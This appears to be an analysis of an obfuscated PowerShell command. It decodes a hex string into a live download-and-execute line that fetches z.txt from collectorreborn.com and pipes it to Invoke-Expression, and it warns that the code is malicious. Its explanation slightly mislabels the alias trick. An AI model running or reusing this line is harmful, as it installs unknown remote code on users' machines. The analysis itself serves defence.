This PowerShell code performs the following steps: 1. **Decode a hexadecimal...

This PowerShell code performs the following steps:

1. Decode a hexadecimal string:
   The hexadecimal string '262867616c2063752a29202d757365622068747470733a2f2f632e636f6c6c6563746f727265626f726e2e636f6d2f632f7a2e7478747c696578' is parsed into a byte array using the method [System.Runtime.Remoting.Metadata.W3cXsd2001.SoapHexBinary]::Parse(). This turns the hexadecimal string into a raw byte array.

2. Convert the byte array to a UTF-8 string:
   Using [Text.Encoding]::UTF8.GetString(), the byte array is interpreted as a UTF-8 string. This converts the bytes into readable text.

3. Execute the decoded string in another PowerShell session:
   The decoded string is passed as input to another PowerShell instance to execute it. This is done by piping (|) the result into powershell.

4. Minimize the PowerShell window:
   When the script is executed, -window min is used to ensure the PowerShell window stays minimized, potentially to reduce its visibility to the user.

What this likely does:

Upon decoding, the hexadecimal string represents some UTF-8 encoded text. Typically, such scripts embed commands, URLs, or malicious payloads as encoded strings to obfuscate their purpose. For example, the execution could involve downloading a file (z.txt) over HTTP from the URL specified, then executing it. This type of behavior is common in obfuscated or malicious scripts.

Decoded Hexadecimal String:

To understand exactly what the code does, we need to decode the string:

262867616c2063752a29202d757365622068747470733a2f2f632e636f6c6c6563746f727265626f726e2e636f6d2f632f7a2e7478747c696578

This decodes to:

&(`gal cu*) -useb https://c.collectorreborn.com/c/z.txt|iex

Explanation of Decoded String:

1. & is the call operator in PowerShell.
2. (`gal cu*) is an obfuscated way of writing Get-Alias.
3. -useb specifies the use of a web request with the Invoke-WebRequest cmdlet.
4. The URL https://c.collectorreborn.com/c/z.txt points to an external text file (z.txt).
5. The |iex uses Invoke-Expression, which executes the contents of the downloaded file as PowerShell code.

Final Outcome:

Effectively, this script:

• Retrieves the file z.txt from the provided URL.
• Executes the contents of the file immediately as PowerShell script/code.

Warning:

This code is highly suspicious and appears to be malicious. It attempts to download and execute a remote script, often used in cases of malware or security attacks like cryptominers, ransomware, or spyware. Always approach such scripts with caution.